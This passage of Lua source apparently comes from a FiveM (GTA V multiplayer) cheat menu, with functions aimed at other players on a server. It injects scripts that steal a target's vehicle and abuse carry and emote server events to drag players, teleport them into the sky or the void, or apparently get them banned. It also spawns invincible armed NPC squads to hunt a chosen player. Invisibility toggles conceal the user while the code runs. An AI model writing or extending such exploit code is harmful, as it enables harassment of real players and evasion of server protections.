withTempPlayerInvisibility(performVehicleBreak) end createThread(runBreakVehicleThread) end end function assembledMenuFunctions.vehicleThief(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local createThread = Citizen.CreateThread local function runVehicleThiefThread() local targetInfo = options.targetInfo local ped = targetInfo.ped local targetVehicle = GetVehiclePedIsIn(ped, false) if targetVehicle == 0 then return end local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) do local withTempPlayerInvisibility = menu.utils.withTempPlayerInvisibility local function performVehicleTheft() TaskEnterVehicle(playerPed, targetVehicle, 1, -1, 2.0, 8, 0) while true do if GetVehiclePedIsIn(playerPed, false) == targetVehicle then break end Citizen.Wait(10) end SetEntityCoords(playerPed, GetEntityCoords(targetVehicle), false, false, false, true) Citizen.Wait(220) SetEntityCoords(playerPed, originalCoords, false, false, false, true) Citizen.Wait(120) end withTempPlayerInvisibility(performVehicleTheft) end local hashValue = GetHashKey("mp_m_freemode_01") RequestModel(hashValue) while true do if HasModelLoaded(hashValue) then break end Citizen.Wait(50) end local vehicleCoords = GetEntityCoords(targetVehicle) local vehicleHeading = GetEntityHeading(targetVehicle) local thiefPed = CreatePed( 26, hashValue, vehicleCoords.x + 1.0, vehicleCoords.y, vehicleCoords.z + 1.0, vehicleHeading, false, false ) menu.utils.markMenuSpawnedPed(thiefPed) SetEntityInvincible(thiefPed, true) SetBlockingOfNonTemporaryEvents(thiefPed, true) local skin = {} skin.sex = 0 skin.face = 33 skin.skin = 8 skin.hair_1 = 15 skin.hair_2 = 1 skin.hair_color_1 = 28 skin.hair_color_2 = 0 skin.decals_1 = 0 skin.decals_2 = 0 skin.tshirt_1 = 21 skin.tshirt_2 = 4 skin.torso_1 = 20 skin.torso_2 = 2 skin.arms = 17 skin.pants_1 = 20 skin.pants_2 = 2 skin.shoes_1 = 7 skin.shoes_2 = 0 skin.mask_1 = 0 skin.mask_2 = 0 skin.helmet_1 = 25 skin.helmet_2 = 1 skin.bproof_1 = 0 skin.bproof_2 = 0 skin.bags_1 = 0 skin.bags_2 = 0 skin.beard_1 = 3 skin.beard_2 = 10 skin.beard_3 = 2 skin.beard_4 = 0 skin.chain_1 = 18 skin.chain_2 = 0 skin.glasses_1 = 29 skin.glasses_2 = 0 SetPedComponentVariation(thiefPed, 3, skin.arms, 0, 2) SetPedComponentVariation(thiefPed, 8, skin.tshirt_1, skin.tshirt_2, 2) SetPedComponentVariation(thiefPed, 11, skin.torso_1, skin.torso_2, 2) SetPedComponentVariation(thiefPed, 4, skin.pants_1, skin.pants_2, 2) SetPedComponentVariation(thiefPed, 6, skin.shoes_1, skin.shoes_2, 2) SetPedComponentVariation(thiefPed, 1, skin.mask_1, skin.mask_2, 2) SetPedComponentVariation(thiefPed, 9, skin.bproof_1, skin.bproof_2, 2) SetPedComponentVariation(thiefPed, 5, skin.bags_1, skin.bags_2, 2) SetPedComponentVariation(thiefPed, 10, skin.decals_1, skin.decals_2, 2) SetPedComponentVariation(thiefPed, 7, skin.chain_1, skin.chain_2, 2) SetPedComponentVariation(thiefPed, 2, skin.hair_1, skin.hair_2, 2) local secondaryHairColor = skin.hair_color_2 if not secondaryHairColor then secondaryHairColor = 0 end SetPedHairColor(thiefPed, skin.hair_color_1, secondaryHairColor) SetPedHeadOverlay(thiefPed, 1, skin.beard_1, 1.0) SetPedHeadOverlayColor(thiefPed, 1, 1, skin.beard_2, skin.beard_3) if skin.helmet_1 ~= -1 then SetPedPropIndex(thiefPed, 0, skin.helmet_1, skin.helmet_2, true) else ClearPedProp(thiefPed, 0) end if skin.glasses_1 ~= -1 then SetPedPropIndex(thiefPed, 1, skin.glasses_1, skin.glasses_2, true) else ClearPedProp(thiefPed, 1) end Citizen.Wait(480) SetPedIntoVehicle(thiefPed, targetVehicle, -1) Citizen.Wait(1550) TaskVehicleDriveWander(thiefPed, targetVehicle, 25.0, 786603) end createThread(runVehicleThiefThread) end end function assembledMenuFunctions.teleportToSky(options) if menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end repeat if options then if options.targetInfo then break end end menu.utils.notify("No player selected", "error", 2000) return until true local targetInfo = options.targetInfo local serverId = tonumber(targetInfo.serverId) local numericPed = tonumber(targetInfo.ped) local playerPed = PlayerPedId() local targetPed = numericPed if targetInfo.playerId then if NetworkIsPlayerActive(targetInfo.playerId) then targetPed = GetPlayerPed(targetInfo.playerId) end end do local validTarget = false repeat repeat if targetPed then if targetPed == 0 then break end if DoesEntityExist(targetPed) then validTarget = true break end end until true if validTarget then break end menu.utils.notify("Target player is no longer valid", "error", 2000) return until true end if targetPed == playerPed then menu.utils.notify("You cannot use this on yourself", "error", 2000) return end if GetVehiclePedIsIn(targetPed, false) == 0 then menu.utils.notify("Target is not in a vehicle", "error", 2000) return end local targetScript repeat if serverId then targetScript = string.format( [[ local targetServerId = %d local targetPlayer = GetPlayerFromServerId(targetServerId) if not targetPlayer or targetPlayer == -1 then return end local targetPed = GetPlayerPed(targetPlayer) ]], serverId ) break end targetScript = string.format( [[ local targetPed = %d ]], targetPed ) until true local script = targetScript .. [[ if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) then return end if targetPed == PlayerPedId() then return end local vehicle = GetVehiclePedIsIn(targetPed, false) if vehicle == 0 then return end Citizen.CreateThread(function() local playerPed = PlayerPedId() local originalCoords = GetEntityCoords(playerPed) local model = GetHashKey("lts_p_para_pilot2_sp_s") RequestModel(model) local frontPos = GetOffsetFromEntityInWorldCoords(targetPed, 0.0, 1.0, 0.0) SetEntityCoords(playerPed, frontPos.x, frontPos.y, frontPos.z, false, false, false, true) while not HasModelLoaded(model) do Citizen.Wait(10) end local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, 50.0, 0.0, 0.0) local activeObject = CreateObjectNoOffset( model, spawnPos.x, spawnPos.y, spawnPos.z, true, true, false ) SetEntityCollision(activeObject, true, true) SetEntityDynamic(activeObject, true) ActivatePhysics(activeObject) Citizen.Wait(100) SetEntityVisible(activeObject, false, false) SetEntityAlpha(activeObject, 0, false) local spineBone = GetPedBoneIndex(targetPed, 24818) AttachEntityToEntityPhysically( activeObject, targetPed, 0, spineBone, 0.0, 0.0, 0.0, 0.0, -0.20, 0.0, 0.0, 0.0, 0.0, 1000000.0, true, true, false, false, 2 ) Citizen.Wait(20) ClearPedTasksImmediately(playerPed) SetEntityCoords(playerPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, true) Citizen.Wait(480) if DoesEntityExist(activeObject) then DeleteEntity(activeObject) end SetModelAsNoLongerNeeded(model) end) ]] menu.utils.safeExecute(script) menu.utils.notify("Teleport to sky applied", "success", 2000) end function assembledMenuFunctions.banPlayerElectronNew(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo local targetPed repeat if targetInfo.getFreshPed then targetPed = targetInfo.getFreshPed() if targetPed then break end end targetPed = targetInfo.ped until true repeat if targetPed then if DoesEntityExist(targetPed) then break end end menu.utils.notify("Target player is no longer valid", "error") return until true local originalCoords = GetEntityCoords(PlayerPedId()) local targetCoords = GetEntityCoords(targetPed) local wasVisible = IsEntityVisible(PlayerPedId()) menu.functions.safeTeleport(vector3(targetCoords.x, targetCoords.y, targetCoords.z + 1.0)) Citizen.Wait(100) if IsPedInAnyVehicle(targetPed, true) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) local vehicleEntryCoords = GetEntityCoords(PlayerPedId()) TaskEnterVehicle(PlayerPedId(), targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(1500) for _ = 0, 5, 1 do DeleteEntity(targetVehicle) Citizen.Wait(10) end SetEntityCoords( PlayerPedId(), vehicleEntryCoords.x, vehicleEntryCoords.y, vehicleEntryCoords.z, false, false, false, true ) end AttachEntityToEntity( PlayerPedId(), targetPed, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(500) DetachEntity(PlayerPedId(), true, true) local script = [[ Citizen.CreateThread(function() local targetPed = ]] .. targetPed .. [[ if not DoesEntityExist(targetPed) then local freshPid = GetPlayerFromServerId(]] .. targetInfo.serverId .. [[ ) if freshPid and freshPid ~= -1 and NetworkIsPlayerActive(freshPid) then targetPed = GetPlayerPed(freshPid) end end if DoesEntityExist(targetPed) then TriggerServerEvent('CarryPeople:sync', ]] .. targetInfo.serverId .. ", 'missfinale_c2mcs_1', 'nm', 'fin_c2_mcs_1_camman', 'firemans_carry', 0.15, 0.27, 0.63, " .. targetInfo.serverId .. [[ , 100000, 0.0, 49, 33, 1, 0, 0.5, 0.5) TriggerServerEvent("cad-carry:syncClosest", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("5life_carry:sync", ]] .. targetInfo.serverId .. [[ ) ESX.TriggerServerCallback("core:carry:init", function(success) end, ]] .. targetInfo.serverId .. [[ ) end end) ]] menu.utils.safeExecute(script) menu.utils.hookVisible(false) Citizen.Wait(50) menu.utils.hookVisible(true) Citizen.Wait(300) script = " TriggerServerEvent('CarryPeople:stop', " .. targetInfo.serverId .. [[ ) TriggerServerEvent("cad-carry:stopCarry", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("5life_carry:stop", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("core:carry:stop") ]] menu.utils.safeExecute(script) Citizen.Wait(200) SetEntityCoords(PlayerPedId(), originalCoords.x, originalCoords.y, originalCoords.z) Citizen.Wait(100) menu.functions.safeTeleport(originalCoords) if wasVisible then menu.utils.hookVisible(false) end end end function assembledMenuFunctions.teleportPlayerLocal(options) if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local createThread = Citizen.CreateThread local function runTeleportPlayerLocalThread() while DoesEntityExist(targetPed) do if not menu.vars.indivBools.localTeleport[targetPed] then return end local playerPed = PlayerPedId() local playerCoords = GetEntityCoords(playerPed) local forwardVector = GetEntityForwardVector(playerPed) local heading = GetEntityHeading(playerPed) local targetCoords = vector3( playerCoords.x + forwardVector.x * 1.0, playerCoords.y + forwardVector.y * 1.0, playerCoords.z ) SetEntityCoordsNoOffset(targetPed, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true) SetEntityHeading(targetPed, heading) Citizen.Wait(1) end end createThread(runTeleportPlayerLocalThread) end end function assembledMenuFunctions.banPlayerElectron(options) if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local serverId = targetInfo.serverId local ped = targetInfo.ped local originalCoords = GetEntityCoords(PlayerPedId()) menu.functions.safeTeleport(GetEntityCoords(ped)) Citizen.Wait(100) local template = " local targetId = %d local emoteOne = \"%s\" local emoteTwo = \"%s\" TriggerServerEvent(\"ServerValidEmote\", targetId, emoteOne, emoteTwo) TriggerServerEvent(\"rpemotes:server:requestEmote\", targetId, emoteOne, emoteTwo) TriggerServerEvent(\"rpemotes:server:confirmEmote\", targetId, emoteOne, emoteTwo) " local script = string.format( template, serverId, "carry2", "carry", serverId, "carry2", "carry", serverId, "carry2", "carry" ) menu.utils.safeExecute(script) Citizen.Wait(100) menu.utils.hookVisible(true) Citizen.Wait(500) script = " TriggerServerEvent(\"CarryPeople:stop\", " .. serverId .. [[ ) ]] menu.utils.safeExecute(script) Citizen.Wait(100) menu.functions.safeTeleport(originalCoords) menu.utils.hookVisible(false) end end function assembledMenuFunctions.teleportPlayerToVoid(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo local targetPed repeat if targetInfo.getFreshPed then targetPed = targetInfo.getFreshPed() if targetPed then break end end targetPed = targetInfo.ped until true repeat if targetPed then if DoesEntityExist(targetPed) then break end end menu.utils.notify("Target player is no longer valid", "error") return until true local originalCoords = GetEntityCoords(PlayerPedId()) local targetCoords = GetEntityCoords(targetPed) do local restoreVisibility = true local restoreNoclip = false if menu.vars.bools.noclipInvis then if menu.vars.bools.noclip then restoreVisibility = false end end if menu.vars.bools.noclip then restoreNoclip = true end if restoreVisibility then menu.utils.hookVisible(true) end if restoreNoclip then local toggleOptions = {} toggleOptions.toggleState = false menu.functions.toggleNoclip(toggleOptions) end menu.functions.safeTeleport(vector3(targetCoords.x, targetCoords.y, targetCoords.z + 1.0)) Citizen.Wait(100) if IsPedInAnyVehicle(targetPed, true) then local targetVehicle = GetVehiclePedIsIn(targetPed, false) local vehicleEntryCoords = GetEntityCoords(PlayerPedId()) TaskEnterVehicle(PlayerPedId(), targetVehicle, 1, -1, 2.0, 8, 0) Citizen.Wait(1500) for _ = 0, 5, 1 do DeleteEntity(targetVehicle) Citizen.Wait(10) end SetEntityCoords( PlayerPedId(), vehicleEntryCoords.x, vehicleEntryCoords.y, vehicleEntryCoords.z, false, false, false, true ) end AttachEntityToEntity( PlayerPedId(), targetPed, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(500) DetachEntity(PlayerPedId(), true, true) local script = [[ Citizen.CreateThread(function() local targetPed = ]] .. targetPed .. [[ if not DoesEntityExist(targetPed) then local freshPid = GetPlayerFromServerId(]] .. targetInfo.serverId .. [[ ) if freshPid and freshPid ~= -1 and NetworkIsPlayerActive(freshPid) then targetPed = GetPlayerPed(freshPid) end end if DoesEntityExist(targetPed) then for i=0, 10 do TriggerServerEvent('CarryPeople:sync', ]] .. targetInfo.serverId .. ", 'missfinale_c2mcs_1', 'nm', 'fin_c2_mcs_1_camman', 'firemans_carry', 0.15, 0.27, 0.63, " .. targetInfo.serverId .. [[ , 100000, 0.0, 49, 33, 1, 0, 0.5, 0.5) TriggerServerEvent("cad-carry:syncClosest", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("5life_carry:sync", ]] .. targetInfo.serverId .. [[ ) ESX.TriggerServerCallback("core:carry:init", function(success) end, ]] .. targetInfo.serverId .. [[ ) Citizen.Wait(10) end end end) ]] menu.utils.safeExecute(script) FreezeEntityPosition(PlayerPedId(), true) Citizen.Wait(200) ExtendWorldBoundaryForPlayer(PlayerPedId(), 100151.0, -110892, -500) for _ = 0, 10, 1 do Ham.setPosition(77151, -103892, -20) Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 1.0, 0.0) Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 0.0, 0.0) FreezeEntityPosition(PlayerPedId(), false) end Citizen.Wait(200) script = " TriggerServerEvent('CarryPeople:stop', " .. targetInfo.serverId .. [[ ) TriggerServerEvent("cad-carry:stopCarry", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("5life_carry:stop", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("core:carry:stop") ]] menu.utils.safeExecute(script) Citizen.Wait(200) FreezeEntityPosition(PlayerPedId(), false) SetEntityCoords(PlayerPedId(), originalCoords.x, originalCoords.y, originalCoords.z) Ham.setPosition(originalCoords.x, originalCoords.y, originalCoords.z) FreezeEntityPosition(PlayerPedId(), false) Ham.setPosition(originalCoords.x, originalCoords.y, originalCoords.z) Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 1.0, 0.0) Citizen.Wait(10) SetEntityVelocity(PlayerPedId(), 0.0, 0.0, 0.0) Citizen.Wait(100) menu.functions.safeTeleport(originalCoords) SetEntityCoordsNoOffset( PlayerPedId(), originalCoords.x, originalCoords.y, originalCoords.z, false, false, false ) NetworkResurrectLocalPlayer(originalCoords.x, originalCoords.y, originalCoords.z, 0, true, false) local godmode if menu.vars then if menu.vars.bools then godmode = menu.vars.bools.godmode == true end end SetPlayerInvincible(PlayerId(), godmode) ClearPedBloodDamage(PlayerPedId()) local setTimeout = Citizen.SetTimeout local function restorePlayerState() if restoreVisibility then menu.utils.hookVisible(false) end if restoreNoclip then local toggleOptions = {} toggleOptions.toggleState = true menu.functions.toggleNoclip(toggleOptions) end end setTimeout(500, restorePlayerState) end end end function assembledMenuFunctions.teleportPlayer(options) if options then local targetInfo = options.targetInfo if not targetInfo then return end targetInfo = options.targetInfo local targetPed repeat if targetInfo.getFreshPed then targetPed = targetInfo.getFreshPed() if targetPed then break end end targetPed = targetInfo.ped until true repeat if targetPed then if DoesEntityExist(targetPed) then break end end menu.utils.notify("Target player is no longer valid", "error") return until true local originalCoords = GetEntityCoords(PlayerPedId()) local targetCoords = GetEntityCoords(targetPed) menu.utils.hookVisible(true) menu.functions.safeTeleport(vector3(targetCoords.x, targetCoords.y, targetCoords.z + 1.0)) Citizen.Wait(100) AttachEntityToEntity( PlayerPedId(), targetPed, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) Citizen.Wait(500) DetachEntity(PlayerPedId(), true, true) local script = [[ Citizen.CreateThread(function() local targetPed = ]] .. targetPed .. [[ if not DoesEntityExist(targetPed) then local freshPid = GetPlayerFromServerId(]] .. targetInfo.serverId .. [[ ) if freshPid and freshPid ~= -1 and NetworkIsPlayerActive(freshPid) then targetPed = GetPlayerPed(freshPid) end end if DoesEntityExist(targetPed) then TriggerServerEvent('CarryPeople:sync', ]] .. targetInfo.serverId .. ", 'missfinale_c2mcs_1', 'nm', 'fin_c2_mcs_1_camman', 'firemans_carry', 0.15, 0.27, 0.63, " .. targetInfo.serverId .. [[ , 100000, 0.0, 49, 33, 1, 0, 0.5, 0.5) TriggerServerEvent("5life_carry:sync", ]] .. targetInfo.serverId .. [[ ) ESX.TriggerServerCallback("core:carry:init", function(success) end, ]] .. targetInfo.serverId .. [[ ) end end) ]] menu.utils.safeExecute(script) Citizen.Wait(500) menu.functions.safeTeleport(originalCoords) Citizen.Wait(100) script = " TriggerServerEvent('CarryPeople:stop', " .. targetInfo.serverId .. [[ ) TriggerServerEvent("5life_carry:stop", ]] .. targetInfo.serverId .. [[ ) TriggerServerEvent("core:carry:stop") ]] menu.utils.safeExecute(script) local setTimeout = Citizen.SetTimeout local function invokeHookVisible() menu.utils.hookVisible(false) end setTimeout(500, invokeHookVisible) end end function assembledMenuFunctions.teleportPlayerAir(options) if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local ped = targetInfo.ped do local serverId = targetInfo.serverId local targetCoords = GetEntityCoords(ped) local originalCoords = GetEntityCoords(PlayerPedId()) local airCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z + 50.0) menu.utils.hookVisible(true) menu.functions.safeTeleport(vector3(targetCoords.x, targetCoords.y, targetCoords.z + 1.0)) Citizen.Wait(7) AttachEntityToEntity( PlayerPedId(), ped, 0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true ) local script = [[ ExecuteCommand("carry") TriggerServerEvent("CarryPeople:sync", ]] .. serverId .. [[ ) ]] menu.utils.safeExecute(script) Citizen.Wait(500) DetachEntity(PlayerPedId(), true, true) menu.functions.safeTeleport(airCoords) local setTimeout = Citizen.SetTimeout local function stopCarryAndRestore() local stopScript = [[ ExecuteCommand("carry") TriggerServerEvent("CarryPeople:stop", ]] .. serverId .. [[ ) ]] menu.utils.safeExecute(stopScript) local scheduleTimeout = Citizen.SetTimeout local function invokeSafeTeleport() menu.functions.safeTeleport(originalCoords) end scheduleTimeout(300, invokeSafeTeleport) end setTimeout(115, stopCarryAndRestore) setTimeout = Citizen.SetTimeout local function invokeHookVisible() menu.utils.hookVisible(false) end setTimeout(500, invokeHookVisible) end end end function assembledMenuFunctions.killerClownAttack(options) if not menu.utils.isVehicleWhitelisted("speedo2") then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end if not menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then menu.utils.notify("Ped is blacklisted", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local safeSpawn = menu.vars.bools.safeVehicleSpawn repeat if safeSpawn then safeSpawn = 1 if safeSpawn then break end end safeSpawn = 0 until true local script = string.format( [[ Citizen.CreateThread(function() local playerPed = %d local pedModel = GetHashKey("mp_m_freemode_01") local vehicleModel = "speedo2" local batHash = GetHashKey("WEAPON_BAT") local miniGunHash = GetHashKey("WEAPON_MINIGUN") local axeHash = GetHashKey("WEAPON_BATTLEAXE") local akHash = GetHashKey("WEAPON_ASSAULTRIFLE") RequestModel(pedModel) while not HasModelLoaded(pedModel) do Wait(0) end local pedCoords = GetEntityCoords(playerPed) -- Spawn within 40 units of the target player local angle = math.random() * 2 * math.pi -- Random angle local spawnDistance = math.random(15.0, 35.0) -- Random distance between 15-35 units (within 40) local spawnCoords = vector3( pedCoords.x + math.cos(angle) * spawnDistance, pedCoords.y + math.sin(angle) * spawnDistance, pedCoords.z ) -- Calculate heading towards player local dx = pedCoords.x - spawnCoords.x local dy = pedCoords.y - spawnCoords.y local heading = math.deg(math.atan2(dy, dx)) local pedVehicle = nil _G.Citizen.Bongs.utils.spawnVehicle(vehicleModel, spawnCoords, heading, function(vehicle) if not vehicle or not DoesEntityExist(vehicle) then return end pedVehicle = vehicle end, %d) -- Wait for vehicle to spawn local waitCount = 0 while pedVehicle == nil and waitCount < 50 do Wait(10) waitCount = waitCount + 1 end if not pedVehicle or not DoesEntityExist(pedVehicle) then return end local pedAIs = {} local pedGroup = AddRelationshipGroup("AI_TEAM") for seat = -1, 1 do local pedAI = CreatePedInsideVehicle(pedVehicle, 4, pedModel, seat, true, true, true) SetPedHeadBlendData(pedAI, 0,0,0,0,0,0,0.0,0.0,0.0,false) SetPedComponentVariation(pedAI,3,15,0,0) SetPedComponentVariation(pedAI,8,15,0,0) SetPedComponentVariation(pedAI,4,25,0,0) SetPedComponentVariation(pedAI,11,15,0,0) SetPedComponentVariation(pedAI,6,34,0,0) SetPedComponentVariation(pedAI,1,155,0,2) SetEntityInvincible(pedAI, true) SetEntityProofs(pedAI,true,true,true,true,true,true,true,true) SetBlockingOfNonTemporaryEvents(pedAI,true) SetPedRelationshipGroupHash(pedAI, pedGroup) if seat == -1 then GiveWeaponToPed(pedAI, batHash, 1, false, true) SetCurrentPedWeapon(pedAI, batHash, true) elseif seat == 0 then GiveWeaponToPed(pedAI, miniGunHash, 1000, false, true) SetCurrentPedWeapon(pedAI, miniGunHash, true) elseif seat == 1 then GiveWeaponToPed(pedAI, akHash, 500, false, true) GiveWeaponToPed(pedAI, axeHash, 1, false, true) SetCurrentPedWeapon(pedAI, akHash, true) end table.insert(pedAIs, pedAI) end SetRelationshipBetweenGroups(5, pedGroup, GetPedRelationshipGroupHash(playerPed)) CreateThread(function() -- Activate car alarm when starting to drive if DoesEntityExist(pedVehicle) then SetVehicleAlarm(pedVehicle, true) StartVehicleAlarm(pedVehicle) SetVehicleAlarmTimeLeft(pedVehicle, 60000) -- 60 seconds end -- Initial drive command TaskVehicleDriveToCoord(pedAIs[1], pedVehicle, pedCoords.x, pedCoords.y, pedCoords.z, 20.0, 1, GetHashKey(vehicleModel), 786603, 1.0, true) -- Honking system with dynamic target tracking local lastHornTime = 0 local lastTargetUpdate = 0 local HORN_INTERVAL = 2500 -- Horn every 2.5 seconds local HORN_DURATION = 1200 -- Each horn blast duration local TARGET_UPDATE_INTERVAL = 1000 -- Update target every 1 second local closeEnough = false while not closeEnough do Wait(100) local currentTime = GetGameTimer() -- Update target position periodically if DoesEntityExist(playerPed) and currentTime - lastTargetUpdate > TARGET_UPDATE_INTERVAL then local currentPlayerCoords = GetEntityCoords(playerPed) TaskVehicleDriveToCoord(pedAIs[1], pedVehicle, currentPlayerCoords.x, currentPlayerCoords.y, currentPlayerCoords.z, 20.0, 1, GetHashKey(vehicleModel), 786603, 1.0, true) lastTargetUpdate = currentTime pedCoords = currentPlayerCoords -- Update for distance calculation end local vehPos = GetEntityCoords(pedVehicle) local distance = #(vehPos - pedCoords) -- Continuous honking while approaching if currentTime - lastHornTime > HORN_INTERVAL then if DoesEntityExist(pedVehicle) then StartVehicleHorn(pedVehicle, HORN_DURATION, GetHashKey("HELDDOWN"), false) lastHornTime = currentTime end end if distance <= 15.0 then closeEnough = true end end for _, pedAI in ipairs(pedAIs) do if DoesEntityExist(pedAI) then TaskLeaveVehicle(pedAI, pedVehicle, 0) end end Wait(500) for _, pedAI in ipairs(pedAIs) do if DoesEntityExist(pedAI) then ClearPedTasks(pedAI) TaskCombatPed(pedAI, playerPed, 0, 16) end end local timerShit = GetGameTimer() + 15000 while not IsEntityDead(playerPed) and GetGameTimer() < timerShit do Wait(0) end for i, pedAI in ipairs(pedAIs) do if DoesEntityExist(pedAI) then TaskEnterVehicle(pedAI, pedVehicle, -1, i-2, 1.0, 1, 0) end end TaskVehicleDriveWander(pedAIs[1], pedVehicle, 30.0, 786603) Wait(50000) if DoesEntityExist(pedVehicle) then DeleteEntity(pedVehicle) end for _, pedAI in ipairs(pedAIs) do if DoesEntityExist(pedAI) then DeleteEntity(pedAI) end end end) end) ]], targetPed, safeSpawn ) menu.utils.safeExecute(script) end end function assembledMenuFunctions.supporterSpam(options) if not menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then menu.utils.notify("Function is not available", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped menu.utils.notify("Spawning.. DO NOT SPAM!!! This will take a few seconds to complete.", "success") local script = [[ Citizen.CreateThread(function() local pedModel = GetHashKey("mp_m_freemode_01") RequestModel(pedModel) while not HasModelLoaded(pedModel) do Wait(0) end local targetPlayer = ]] .. targetPed .. [[ if not targetPlayer or not DoesEntityExist(targetPlayer) then return end local spawnPos = GetEntityCoords(targetPlayer) local heading = GetEntityHeading(targetPlayer) local baseSkin = { tshirt_1=15,tshirt_2=0,torso_1=287,arms=9,pants_1=114,shoes_1=78, mask_1=135,helmet_1=-1,helmet_2=-1,bproof_1=0,bproof_2=0,bags_1=0,bags_2=0, hair_1=0,hair_2=0,hair_color_1=0,hair_color_2=0,decals_1=0,decals_2=0, beard_1=0,beard_2=0,beard_3=0,beard_4=0,chain_1=0,chain_2=0,glasses_1=0,glasses_2=0 } local function SpawnPeds(variationList) local pedList = {} for i, v in ipairs(variationList) do local offset = vector3((i-2)*1.5, (i-2)*0.5, 0.0) local pedAI = CreatePed(4, pedModel, spawnPos.x + offset.x, spawnPos.y + offset.y, spawnPos.z, heading, true, true) -- Tag as menu-spawned so NPC ESP can ignore it pcall(function() local ent = Entity(pedAI) if ent and ent.state then ent.state:set("pm_menu_spawned", true, true) end end) SetPedComponentVariation(pedAI,2,baseSkin.hair_1,baseSkin.hair_2,2) SetPedHairColor(pedAI,baseSkin.hair_color_1,baseSkin.hair_color_2) SetPedComponentVariation(pedAI,3,v.arms,0,2) SetPedComponentVariation(pedAI,8,baseSkin.tshirt_1,baseSkin.tshirt_2,2) SetPedComponentVariation(pedAI,11,baseSkin.torso_1,v.torso_2,2) SetPedComponentVariation(pedAI,4,baseSkin.pants_1,v.pants_2,2) SetPedComponentVariation(pedAI,6,baseSkin.shoes_1,v.shoes_2,2) SetPedComponentVariation(pedAI,1,baseSkin.mask_1,v.mask_2,2) SetPedComponentVariation(pedAI,9,baseSkin.bproof_1,baseSkin.bproof_2,2) SetPedComponentVariation(pedAI,5,baseSkin.bags_1,baseSkin.bags_2,2) SetPedComponentVariation(pedAI,10,baseSkin.decals_1,baseSkin.decals_2,2) SetPedHeadOverlay(pedAI,1,baseSkin.beard_1,1.0) SetPedHeadOverlayColor(pedAI,1,1,baseSkin.beard_2,baseSkin.beard_3) SetPedPropIndex(pedAI,0,baseSkin.helmet_1,baseSkin.helmet_2,true) SetPedPropIndex(pedAI,1,baseSkin.glasses_1,baseSkin.glasses_2,true) SetEntityInvincible(pedAI, true) SetEntityProofs(pedAI, true, true, true, true, true, true, true, true) SetBlockingOfNonTemporaryEvents(pedAI, true) table.insert(pedList, pedAI) end return pedList end local allVariations = { {torso_2=2, arms=9, pants_2=2, mask_2=2, shoes_2=2}, {torso_2=3, arms=10, pants_2=3, mask_2=3, shoes_2=3}, {torso_2=4, arms=11, pants_2=4, mask_2=4, shoes_2=4}, {torso_2=5, arms=12, pants_2=5, mask_2=5, shoes_2=5}, {torso_2=6, arms=13, pants_2=6, mask_2=6, shoes_2=6}, {torso_2=7, arms=14, pants_2=7, mask_2=7, shoes_2=7}, {torso_2=1, arms=8, pants_2=1, mask_2=1, shoes_2=1}, {torso_2=8, arms=15, pants_2=8, mask_2=8, shoes_2=8}, {torso_2=9, arms=16, pants_2=9, mask_2=9, shoes_2=9}, } local pedAIs = {} CreateThread(function() local i = 1 while i <= #allVariations do local batch = {} for j=1,2 do if allVariations[i] then table.insert(batch, allVariations[i]) i = i + 1 end end local newPeds = SpawnPeds(batch) for _, p in ipairs(newPeds) do table.insert(pedAIs, p) end Wait(6000) end end) CreateThread(function() while true do Wait(2000) if DoesEntityExist(targetPlayer) then for _, pedAI in ipairs(pedAIs) do if DoesEntityExist(pedAI) then TaskGoToEntity(pedAI, targetPlayer, -1, 1.0, 2.0, 1073741824, 0) end end else break end end end) end) ]] menu.utils.safeExecute(script) end end function assembledMenuFunctions.spawnAttacker(options) if not menu.utils.isWSPedWhitelisted("mp_m_freemode_01") then menu.utils.notify("Function is not available", "error", 2000) return end if options then do local targetInfo = options.targetInfo if not targetInfo then return end end local targetInfo = options.targetInfo local targetPed = targetInfo.ped local script = [[ Citizen.CreateThread(function() local targetPlayer = ]] .. targetPed .. [[ if not targetPlayer then return end local pedModel = GetHashKey("mp_m_freemode_01") local weaponHash = GetHashKey("WEAPON_BAT") RequestModel(pedModel) while not HasModelLoaded(pedModel) do Wait(0) end local targetCoords = GetEntityCoords(targetPlayer) local targetHeading = GetEntityHeading(targetPlayer) local pedAI = CreatePed(4, pedModel, targetCoords.x, targetCoords.y, targetCoords.z, targetHeading, true, true) -- Tag as 